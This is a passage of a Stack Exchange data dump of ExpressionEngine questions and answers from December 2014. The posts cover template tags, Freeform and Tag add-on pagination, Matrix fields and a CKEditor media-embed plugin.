  <row Id="27170" PostTypeId="2" ParentId="27150" CreationDate="2014-12-16T23:53:29.727" Score="1" Body="&lt;p&gt;If you're using EE 2.9+ maybe try the new &quot;contains&quot; conditional:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if super_search_amenities *= 'dvd'}checked{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could probably check against the entire last_segment if you prefer.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-12-16T23:53:29.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27171" PostTypeId="1" CreationDate="2014-12-17T01:55:17.883" Score="1" ViewCount="284" Body="&lt;p&gt;Solspace Freeform is generating a form tag with the domain repeated multiple times and is causing an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;DOMAIN.com/DOMAIN.com/DOMAIN.com/?ACT=28&quot; accept-charset=&quot;utf-8&quot; method=&quot;post&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following errors were encountered:&#xA;Missing required valid POST variable - params_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the cause?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;   form_name=&quot;web-inquiry&quot;&#xA;   required=&quot;first_name|last_name|email|issue&quot;&#xA;   form:class=&quot;form-stacked&quot;&#xA;   }&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Contact Us&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;first_name&quot;&amp;gt;First Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input class=&quot;form-control required&quot; id=&quot;first_name&quot; name=&quot;first_name&quot; size=&quot;30&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;last_name&quot;&amp;gt;Last Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input class=&quot;form-control required&quot; id=&quot;last_name&quot; name=&quot;last_name&quot; size=&quot;30&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input class=&quot;form-control required email&quot; id=&quot;email&quot; name=&quot;email&quot; size=&quot;30&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;issue&quot;&amp;gt;Issue:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea class=&quot;form-control required&quot; id=&quot;issue&quot; name=&quot;issue&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-actions pad-bottom-30&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&amp;amp;nbsp;&amp;lt;button type=&quot;reset&quot; class=&quot;btn btn-default&quot;&amp;gt;Cancel&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2703" LastEditorUserId="2703" LastEditDate="2014-12-27T17:20:53.283" LastActivityDate="2015-11-25T15:47:10.160" Title="Solspace Freeform Error with repeated domain in Action URL" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27172" PostTypeId="2" ParentId="27169" CreationDate="2014-12-17T02:25:14.043" Score="1" Body="&lt;p&gt;Check out this tutorial from Mike Boying covering this exact subject: &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/implementing-the-work-section-part-3&quot; rel=&quot;nofollow&quot;&gt;responsive portfolio site using Grid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His code for the slides looks similar to what you need.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-12-17T02:25:14.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27177" PostTypeId="2" ParentId="15107" CreationDate="2014-12-17T19:20:02.027" Score="0" Body="&lt;p&gt;I managed to get the calendar to import events by making some changes in the code to patch a couple of bugs when Solspace support wasn't able to help after upgrades, patches applied, etc. I submitted the changes I made to Solspace.&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2014-12-17T19:20:02.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27178" PostTypeId="1" CreationDate="2014-12-17T19:24:33.377" Score="0" ViewCount="67" Body="&lt;p&gt;Going through old templates and trying to clean up some stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One page I have is a category page. This displays a list of entries within a category that is specified within segment 3 of a url like so &lt;code&gt;example.com/walks/category/myexamplecategory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template is currently like so (some bits stripped out)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;walks&quot; cat_url_title=&quot;{segment_3}&quot; output_depth=&quot;1&quot; entry_count=&quot;yes&quot;}&#xA;&amp;lt;h5 class=&quot;headline&quot;&amp;gt;{cat_name}&amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;We have &amp;lt;strong&amp;gt;{entry_count}&amp;lt;/strong&amp;gt; &#xA;  {if entry_count == 1}walk{/if}&#xA;  {if entry_count != 1}walks{/if} in &amp;lt;strong&amp;gt;{cat_name}&amp;lt;/strong&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;{exp:cat2:id category_url_title=&quot;{segment_3}&quot; category_group=&quot;2&quot; parse=&quot;inward&quot;}&#xA;  {exp:channel:entries channel=&quot;walks&quot; status=&quot;open&quot; category=&quot;{category_id}&quot; disable=&quot;member_data|category_fields&quot; show_expired=&quot;yes&quot; paginate=&quot;bottom&quot; limit=&quot;12&quot;}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='walks/view'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;    {categories}&#xA;        &amp;lt;a href=&quot;{path='walks'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/categories}&#xA;  {/exp:channel:entries}&#xA;{/exp:cat2:id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as you can see, I'm using Cat2 and GWCode plugins. I'm wondering if theres a simpler way to achieve this, potentially using native tags as opposed to third party ones?&#xA;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-12-24T16:21:23.043" Title="Right way to list entries within a category (that's specified within a URL)" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27179" PostTypeId="1" AcceptedAnswerId="27200" CreationDate="2014-12-17T19:24:42.367" Score="0" ViewCount="58" Body="&lt;p&gt;Is there a way to add a button to the WYGWAM styles or controls that allows user to easily insert a &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tag inside a paragraph?&lt;/p&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2014-12-17T22:14:35.433" LastActivityDate="2014-12-19T15:11:15.817" Title="Add &lt;br&gt; button in WYGWAM toolbar" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27180" PostTypeId="1" AcceptedAnswerId="27185" CreationDate="2014-12-17T20:19:05.803" Score="1" ViewCount="49" Body="&lt;p&gt;Is it possible to display related description from shipping rule at the checkout process for particular shipping method?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-12-18T01:26:07.203" Title="Expresso-store: Shpping rule and descrtiption" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27181" PostTypeId="2" ParentId="9985" CreationDate="2014-12-17T21:21:39.563" Score="0" Body="&lt;p&gt;This is an issue with cURL's ability to communicate over SSL, and this solution worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/16495053/1919543&quot;&gt;https://stackoverflow.com/a/16495053/1919543&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-12-17T21:21:39.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27183" PostTypeId="1" AcceptedAnswerId="27281" CreationDate="2014-12-17T22:28:43.167" Score="1" ViewCount="121" Body="&lt;p&gt;I'm trying to display a matrix field ONLY if it has data entered into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this by wrapping it in this conditional...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if mymatrix:total_rows &amp;gt; 0}&#xA;  {mymatrix}&#xA;    data here&#xA;  {/mymatrix}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing is getting outputted. If I remove the conditional, the matrix is outputted fine. Any ideas? (I'm up to date with EE 2.9.2 &amp;amp; Matrix version 2.6.1)&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2014-12-17T22:39:41.520" LastActivityDate="2015-01-02T09:56:58.187" Title="Matrix field total_rows &gt; 0 not working?" Tags="|matrix|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27184" PostTypeId="1" AcceptedAnswerId="27189" CreationDate="2014-12-18T00:30:09.203" Score="0" ViewCount="38" Body="&lt;p&gt;We are using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/pagination.html#pagination-links&quot; rel=&quot;nofollow&quot;&gt;pagination_links&lt;/a&gt; throughout a site and would like for the tag page to match. I'm wondering if there's a way to get pagination_links to work with Tag? I tried simply adding &quot;tag_&quot; to all the variables, but that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the pagination_links code we are using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  {pagination_links page_padding=&quot;5&quot;}&#xA;&amp;lt;hr&amp;gt;&#xA;    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;  &#xA;      {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/first_page}&#xA;&#xA;         {previous_page}&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/previous_page}&#xA;&#xA;        {page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/page}&#xA;&#xA;         {next_page}&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/next_page}&#xA;&#xA;        {last_page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/last_page}&#xA;       &amp;lt;/ul&amp;gt;&#xA;&amp;lt;hr&amp;gt;&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="745" LastActivityDate="2014-12-18T20:59:42.607" Title="Pagination Links" Tags="|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27185" PostTypeId="2" ParentId="27180" CreationDate="2014-12-18T01:26:07.203" Score="1" Body="&lt;p&gt;You would need to use the &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#shipping_methods&quot; rel=&quot;nofollow&quot;&gt;Shipping Method&lt;/a&gt; tag pair to loop through available shipping methods. You will want to look &lt;code&gt;shipping_method_name&lt;/code&gt;, &lt;code&gt;shipping_method_class,&lt;/code&gt;method_title&lt;code&gt;, and&lt;/code&gt;method_price` tags in particular.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-18T01:26:07.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27186" PostTypeId="1" CreationDate="2014-12-18T04:45:16.753" Score="0" ViewCount="137" Body="&lt;p&gt;I'm running a query on a playa field and the output is grouping a few values together. I just want to be able to access the second and third parts but am a little confused how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT field_id_200 AS brand FROM exp_channel_data WHERE channel_id=23&quot;}&#xA;  {brand}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[125] [nike] Nike&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas for how I can just access &quot;nike&quot; and &quot;Nike&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2016-05-26T20:38:39.120" Title="Query and Playa Field" Tags="|playa|query|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27187" PostTypeId="1" AcceptedAnswerId="27233" CreationDate="2014-12-18T05:05:49.963" Score="3" ViewCount="180" Body="&lt;p&gt;When I use an ampersand (&amp;amp;) in a Category name with spaces &lt;strong&gt;in a certain order&lt;/strong&gt; I get an error that does not allow me to submit the change. Using EE v.2.9.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; &quot;The data you submitted did not pass our security check.&quot;&lt;br&gt;&#xA;This seems to be the &quot;invalid_xss_check&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to change the Category group to &quot;Allow all HTML&quot; and to also encode all HTML but I get the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what works and what doesn't work (screenshot below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Works:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&quot;One[space]&amp;amp;[space]Two&quot;&lt;/li&gt;&#xA;  &lt;li&gt;&quot;One&amp;amp;[space]Two&quot;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does Not Work:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;&quot;One&amp;amp;Two&quot;   ( &amp;lt;--- This is the one I want )&lt;/li&gt;&#xA;  &lt;li&gt;&quot;One[space]&amp;amp;Two&quot;&lt;/li&gt;&#xA;  &lt;li&gt;&quot;One[space]&amp;amp;amp[space]Two&quot; - (going insane...)&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m38IR.jpg&quot; alt=&quot;Category Errors&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-12-24T11:45:03.787" Title="Ampersand with certain spacing not allowed in Category name" Tags="|categories|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27188" PostTypeId="2" ParentId="26116" CreationDate="2014-12-18T17:33:53.150" Score="1" Body="&lt;p&gt;I was having the same issue. I copied a new version of the &quot;themes&quot; folder from a fresh 2.9.2 install into my webroot. Then I put my third-party themes back in and all works great now. I think it's a set of styles or JS in the themes folder that you're missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg&lt;/p&gt;&#xA;" OwnerUserId="2361" LastActivityDate="2014-12-18T17:33:53.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27189" PostTypeId="2" ParentId="27184" CreationDate="2014-12-18T20:59:42.607" Score="0" Body="&lt;p&gt;Which template tag are you using? Tag:Entries? If so, just prepend the {paginate} and {pagination_links} variable pairs with &lt;strong&gt;tag_&lt;/strong&gt;, and no others (Re: &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#tag_paginate&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your final solution would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tag_paginate}&#xA;   {tag_pagination_links page_padding=&quot;5&quot;}&#xA;      &amp;lt;ul class=&quot;pagination&quot;&amp;gt;  &#xA;         {first_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/first_page}&#xA;         {previous_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/previous_page}&#xA;         {page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/page}&#xA;         {next_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/next_page}&#xA;         {last_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         {/last_page}&#xA;      &amp;lt;/ul&amp;gt;&#xA;   {/tag_pagination_links}&#xA;{/tag_paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-18T20:59:42.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27190" PostTypeId="2" ParentId="27163" CreationDate="2014-12-18T21:33:08.140" Score="1" Body="&lt;p&gt;In the end it seemed that this is not possible in any current way.&#xA;So I tried it with Low Search (no luck) and contacted Low via his GetSatisfaction support board.&#xA;For a fee, he made a special filter for Low Search that would apply the search parameter fields only tho the channels containing them, in order to accomplish my goal.&#xA;Now it works like a dream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I now use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    channel='articles|instagram'&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    status=&quot;not closed&quot; &#xA;    dynamic=&quot;off&quot; &#xA;    limit=&quot;50&quot; &#xA;    collection=&quot;articles|instagram&quot;&#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;desc&quot;&#xA;&#xA;    smart_field_search=&quot;yes&quot;&#xA;    search:article_videos=&quot;not IS_EMPTY&quot;&#xA;    search:instagram_video_url=&quot;not IS_EMPTY&quot;&#xA;}&#xA;    {if channel_short_name == 'instagram'}&#xA;        &amp;lt;!-- CODE --&amp;gt;&#xA;    {if:elseif channel_short_name == 'articles'}&#xA;        &amp;lt;!-- CODE --&amp;gt;&#xA;    {/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;He might release it is some future version.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-12-18T21:33:08.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27191" PostTypeId="2" ParentId="27116" CreationDate="2014-12-19T00:09:47.550" Score="1" Body="&lt;p&gt;Specifying the 404 page doesn't cause it to appear in 404 situations - you need to do more work yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You pretty much have to turn on strict urls in order to setup a basis for the 404 template to show. Strict urls ensure that segment 1 is a valid template group name. From there you'll need to handle deeper 404 situations at the template level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article is a great overview of the 404 management in EE:&#xA;&lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a template where turning on strict urls causes issues that should be addressed separately. &lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-12-19T00:09:47.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27192" PostTypeId="1" CreationDate="2014-12-19T02:50:52.527" Score="1" ViewCount="36" Body="&lt;p&gt;I am working on development of a web app where users can use a Channel:form to submit/edit entries. I am Using &lt;a href=&quot;http://mmenu.frebsite.nl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mmenu&lt;/a&gt; for off-canvas menu. I had it working and then it stopped, reporting that function is undefined. After hours of debugging found out it works when not logged in to EE. However in order to add/edit entries, I need the visitor to be logged in. Is this a Channel:form problem/error? Anyone know of a work around?&lt;/p&gt;&#xA;" OwnerUserId="2997" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-04-19T16:36:16.557" Title="Jquery function undefined when logged in" Tags="|safecracker|jquery|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27194" PostTypeId="1" AcceptedAnswerId="27249" CreationDate="2014-12-19T05:13:14.040" Score="0" ViewCount="112" Body="&lt;p&gt;I have a template that is supposed to display only one entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead it is pulling all entries from the particular channel and not paying any attention to the dynamic='no' parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created many versions of this template, removing more and more code including changing the template group and name but nothing seems to work. It even ignores the &quot;limit&quot; parameter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version: EE 2.9.2 using Switchee to parse segments 2 and 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Entries Tag:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='products' dynamic='yes' disable='categories|category_fields|member_data|pagination|trackbacks'}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample Url:&lt;br&gt;&#xA;&lt;a href=&quot;http://example.com/products/wardrobes/cover&quot; rel=&quot;nofollow&quot;&gt;http://example.com/products/wardrobes/cover&lt;/a&gt;&lt;br&gt;&#xA;Segment 1: products - Template Group&lt;br&gt;&#xA;Segment 2: wardrobes - Category not used by anything in channel entries&lt;br&gt;&#xA;Segment 3: cover - URL Title  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switchee Template: products/index.html   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable='{segment_2}' parse='inward'}&#xA;{case value=&quot;''&quot;}&#xA;    {embed='products/_products-home'}&#xA;{/case}&#xA;&#xA;{case default=&quot;Yes&quot;}&#xA;    {switchee variable='{segment_3}' parse='inward'}&#xA;        {case value=&quot;''&quot;}&#xA;            {embed='products/_products-category'}&#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;            {embed='products/_products-entry'}&#xA;        {/case}&#xA;    {/switchee}&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2014-12-19T05:19:20.383" LastActivityDate="2014-12-29T17:53:33.093" Title="Channel Entries displays all Entries on Single Entry page instead of one" Tags="|channel-entries|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27195" PostTypeId="2" ParentId="27148" CreationDate="2014-12-19T08:50:03.463" Score="3" Body="&lt;p&gt;You could create an extension which uses the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-query-result&quot; rel=&quot;nofollow&quot;&gt;channel_entries_query_result hook&lt;/a&gt; to add your variable to each entry row. That will get parsed along with the native vars. To pass data from your module/plugin file to the extension, you'd need to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-access&quot; rel=&quot;nofollow&quot;&gt;Session cache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be interested to know that &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; offers a straight forward &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/create&quot; rel=&quot;nofollow&quot;&gt;API for custom filters&lt;/a&gt;, which basically extends the channel:entries tag, too. With it, in the same file, you can add your &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/anatomy#filter-method&quot; rel=&quot;nofollow&quot;&gt;filter&lt;/a&gt; rules (which you have in your module/plugin file) and manipulate the output of the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/anatomy#results-method&quot; rel=&quot;nofollow&quot;&gt;results&lt;/a&gt; (which you can do with an extension).&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-19T08:50:03.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27196" PostTypeId="2" ParentId="27041" CreationDate="2014-12-19T11:41:56.447" Score="1" Body="&lt;p&gt;I came across this just now and fixed it by changing the number of rows assigned to the gird textarea field. Possibly related to this Structure bug (if you're using that?): &lt;a href=&quot;http://structure.tenderapp.com/discussions/problems/18867-bug-with-assets-and-grid-and-a-structure-field-type&quot; rel=&quot;nofollow&quot;&gt;http://structure.tenderapp.com/discussions/problems/18867-bug-with-assets-and-grid-and-a-structure-field-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-12-19T11:41:56.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27198" PostTypeId="1" AcceptedAnswerId="27216" CreationDate="2014-12-19T12:01:08.827" Score="0" ViewCount="395" Body="&lt;p&gt;I have the Expresso field-type plugin and I'm using the Embed Media button to add iFrames to the page. I've been trying to add a class to the parent div container however I just can't seem to get it to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso uses CKEditor and this is what I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function() {&#xA;    CKEDITOR.plugins.add(&quot;mediaembed&quot;, {&#xA;        init: function(a) {&#xA;            CKEDITOR.dialog.add(&quot;MediaEmbedDialog&quot;, function(a) {&#xA;                return {&#xA;                    title: &quot;Embed Media&quot;,&#xA;                    minWidth: 550,&#xA;                    minHeight: 200,&#xA;                    contents: [{&#xA;                        id: &quot;iframe&quot;,&#xA;                        expand: !0,&#xA;                        elements: [{&#xA;                            id: &quot;embedArea&quot;,&#xA;                            type: &quot;textarea&quot;,&#xA;                            label: &quot;Paste Embed Code Here&quot;,&#xA;                            autofocus: &quot;autofocus&quot;,&#xA;                            setup: function() {},&#xA;                            commit: function() {}&#xA;                        }]&#xA;                    }],&#xA;                    onOk: function() {&#xA;                        var b = a.document.createElement(&quot;div&quot;);&#xA;                        b.setHtml(this.getContentElement(&quot;iframe&quot;, &quot;embedArea&quot;).getValue());&#xA;                        b.className = &quot;video-container&quot;; //My addition&#xA;                        a.insertElement(b)&#xA;                    }&#xA;                }&#xA;            });&#xA;            a.addCommand(&quot;MediaEmbed&quot;,&#xA;                new CKEDITOR.dialogCommand(&quot;MediaEmbedDialog&quot;, {&#xA;                    allowedContent: 